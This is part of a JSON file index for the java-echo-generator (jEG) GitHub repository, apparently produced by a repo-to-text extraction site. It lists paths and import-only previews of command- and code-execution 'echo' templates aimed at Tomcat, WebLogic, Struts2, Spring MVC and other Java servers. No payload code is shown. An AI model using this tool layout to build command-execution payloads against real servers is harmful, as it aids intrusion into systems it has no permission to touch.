"preview": "package jeg.core.template.resin;\n\nimport java.io.InputStream;\nimport java.io.Writer;\nimport java.lang.reflect.Field;\nimp"
},
{
"path": "jeg-core/src/main/java/jeg/core/template/resin/ResinCodeExecTpl.java",
"chars": 2924,
"preview": "package jeg.core.template.resin;\n\nimport java.io.Writer;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.Method"
},
{
"path": "jeg-core/src/main/java/jeg/core/template/springmvc/SpringMVCCmdExecTpl.java",
"chars": 4126,
"preview": "package jeg.core.template.springmvc;\n\nimport java.io.InputStream;\nimport java.io.Writer;\nimport java.lang.reflect.Invoca"
},
{
"path": "jeg-core/src/main/java/jeg/core/template/springmvc/SpringMVCCodeExecTpl.java",
"chars": 4379,
"preview": "package jeg.core.template.springmvc;\n\nimport java.io.Writer;\nimport java.lang.reflect.InvocationTargetException;\nimport "
},
{
"path": "jeg-core/src/main/java/jeg/core/template/struts2/Struts2CmdExecTpl.java",
"chars": 4494,
"preview": "package jeg.core.template.struts2;\n\nimport java.io.InputStream;\nimport java.io.Writer;\nimport java.lang.reflect.Invocati"
},
{
"path": "jeg-core/src/main/java/jeg/core/template/struts2/Struts2CodeExecTpl.java",
"chars": 4819,
"preview": "package jeg.core.template.struts2;\n\nimport java.io.Writer;\nimport java.lang.reflect.InvocationTargetException;\nimport ja"
},
{
"path": "jeg-core/src/main/java/jeg/core/template/tomcat/TomcatCmdExecTpl.java",
"chars": 5053,
"preview": "package jeg.core.template.tomcat;\n\nimport java.io.InputStream;\nimport java.io.Writer;\nimport java.lang.reflect.Field;\nim"
},
{
"path": "jeg-core/src/main/java/jeg/core/template/tomcat/TomcatCodeExecTpl.java",
"chars": 5268,
"preview": "package jeg.core.template.tomcat;\n\nimport java.io.Writer;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.Metho"
},
{
"path": "jeg-core/src/main/java/jeg/core/template/tongweb/TongWebCmdExecTpl.java",
"chars": 4947,
"preview": "package jeg.core.template.tongweb;\n\nimport java.io.InputStream;\nimport java.io.Writer;\nimport java.lang.reflect.Array;\ni"
},
{
"path": "jeg-core/src/main/java/jeg/core/template/tongweb/TongWebCodeExecTpl.java",
"chars": 4991,
"preview": "package jeg.core.template.tongweb;\n\nimport jeg.core.template.inforsuite.InforSuiteCodeExecTpl;\n\nimport java.io.Writer;\ni"
},
{
"path": "jeg-core/src/main/java/jeg/core/template/undertow/UndertowCmdExecTpl.java",
"chars": 3684,
"preview": "package jeg.core.template.undertow;\n\nimport java.io.InputStream;\nimport java.io.PrintWriter;\nimport java.lang.reflect.Ar"
},
{
"path": "jeg-core/src/main/java/jeg/core/template/undertow/UndertowCodeExecTpl.java",
"chars": 4096,
"preview": "package jeg.core.template.undertow;\n\nimport java.io.PrintWriter;\nimport java.lang.reflect.Array;\nimport java.lang.reflec"
},
{
"path": "jeg-core/src/main/java/jeg/core/template/weblogic/WebLogicCmdExecTpl.java",
"chars": 4160,
"preview": "package jeg.core.template.weblogic;\n\nimport jeg.core.template.undertow.UndertowCmdExecTpl;\n\nimport java.io.InputStream;\n"
},
{
"path": "jeg-core/src/main/java/jeg/core/template/weblogic/WebLogicCodeExecTpl.java",
"chars": 4315,
"preview": "package jeg.core.template.weblogic;\n\nimport java.io.PrintWriter;\nimport java.lang.reflect.Field;\nimport java.lang.reflec"
},
{
"path": "jeg-core/src/main/java/jeg/core/template/websphere/WebSphereCmdExecTpl.java",
"chars": 2548,
"preview": "package jeg.core.template.websphere;\n\nimport jeg.core.template.weblogic.WebLogicCodeExecTpl;\n\nimport java.io.InputStream"
},
{
"path": "jeg-core/src/main/java/jeg/core/template/websphere/WebSphereCodeExecTpl.java",
"chars": 2879,
"preview": "package jeg.core.template.websphere;\n\nimport java.lang.reflect.Field;\nimport java.lang.reflect.Method;\n\n/**\n * 执行代码回显(cl"
},
{
"path": "jeg-core/src/main/java/jeg/core/util/TemplateUtil.java",
"chars": 5421,
"preview": "package jeg.core.util;\n\nimport jeg.core.config.jEGConstants;\nimport jeg.core.template.all.DFSCmdExecTpl;\nimport jeg.core"
},
{
"path": "jeg-core/src/test/java/GeneratorTest.java",
"chars": 971,
"preview": "import jeg.common.util.ClassUtil;\nimport jeg.core.config.jEGConstants;\nimport jeg.core.jEGenerator;\nimport jeg.core.conf"
},
{
"path": "jeg-docs/1.0.0/README.md",
"chars": 2320,
"preview": "---\ntitle: jEG v1.0.0 - 高度自定义的 Java 回显生成工具\nauthor: pen4uin\ndate: 2023-09-28\n---\n\n\n# jEG v1.0.0 - 高度自定义的 Java 回显生成工具\n\n## "
},
{
"path": "jeg-docs/README_EN.md",
"chars": 4,
"preview": "todo"
},
{
"path": "jeg-gui/pom.xml",
"chars": 2065,
"preview": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n xsi:sc"
},
{
"path": "jeg-gui/src/main/java/jeg/gui/form/jEGForm.form",
"chars": 12630,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<form xmlns=\"http://www.intellij.com/uidesigner/form/\" version=\"1\" bind-to-class="
},
{
"path": "jeg-gui/src/main/java/jeg/gui/form/jEGForm.java",
"chars": 18349,
"preview": "package jeg.gui.form;\n\nimport com.intellij.uiDesigner.core.GridConstraints;\nimport com.intellij.uiDesigner.core.GridLayo"
},
{
"path": "jeg-gui/src/main/java/jeg/gui/jEGApp.java",
"chars": 356,
"preview": "package jeg.gui;\n\nimport com.formdev.flatlaf.FlatLightLaf;\nimport jeg.gui.form.jEGForm;\n\nimport javax.swing.*;\n\npublic c"
},
{
"path": "jeg-gui/src/main/java/jeg/gui/util/ComponentUtil.java",
"chars": 2181,
"preview": "package jeg.gui.util;\n\nimport javax.swing.*;\nimport javax.swing.event.DocumentEvent;\nimport javax.swing.event.DocumentLi"
},
{
"path": "jeg-gui/src/main/java/jeg/gui/util/TextPaneUtil.java",
"chars": 4629,
"preview": "package jeg.gui.util;\n\n\nimport javax.swing.*;\nimport javax.swing.text.*;\nimport java.awt.*;\n\n/**\n * 控制文本颜色,提升用户体验\n */\npu"
},
{
"path": "jeg-gui/src/main/resources/messages_en.properties",
"chars": 366,
"preview": "format.text=Output Format\ngenerate.text=Generate\nheaderName.text=Header Key\nheaderValue.text=Header Value\ninjectorClsNam"
},
{
"path": "jeg-gui/src/main/resources/messages_en.properties.bak",
"chars": 382,
"preview": "format.text=Output Format\ngenerate.text=Generate\nheaderName.text=Request Header Key\nheaderValue.text=Request Header Valu"
},
{
"path": "jeg-gui/src/main/resources/messages_zh.properties",
"chars": 544,
"preview": "format.text=\\u8F93\\u51FA\\u683C\\u5F0F\ngenerate.text=\\u751F\\u6210\nheaderName.text=\\u8BF7\\u6C42\\u5934\\u952E\nheaderValue.tex"
},
{
"path": "jeg-gui/src/main/resources/messages_zh.properties.bak",
"chars": 254,
"preview": "format.text=输出格式\ngenerate.text=生成\nheaderName.text=请求头键\nheaderValue.text=请求头值\ninjectorClsName.text=注入器类名\nkey.text=密钥\npass"
},
{
"path": "jeg-woodpecker/pom.xml",
"chars": 1192,
"preview": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n xsi:sc"
},
{
"path": "jeg-woodpecker/src/main/java/me/gv7/woodpecker/helper/jEGHelper.java",
"chars": 7788,
"preview": "package me.gv7.woodpecker.helper;\n\nimport jeg.core.jEGenerator;\nimport jeg.core.config.jEGConstants;\nimport jeg.core.con"
},
{
"path": "jeg-woodpecker/src/main/java/me/gv7/woodpecker/plugin/WoodpeckerPluginManager.java",
"chars": 379,
"preview": "package me.gv7.woodpecker.plugin;\n\nimport me.gv7.woodpecker.helper.jEGHelper;\n\npublic class WoodpeckerPluginManager impl"
},
{
"path": "pom.xml",
"chars": 1913,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2"
}
]
About this extraction
This page contains the full source code of the pen4uin/java-echo-generator GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 65 files (197.5 KB), approximately 47.8k tokens, and a symbol index with 305 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.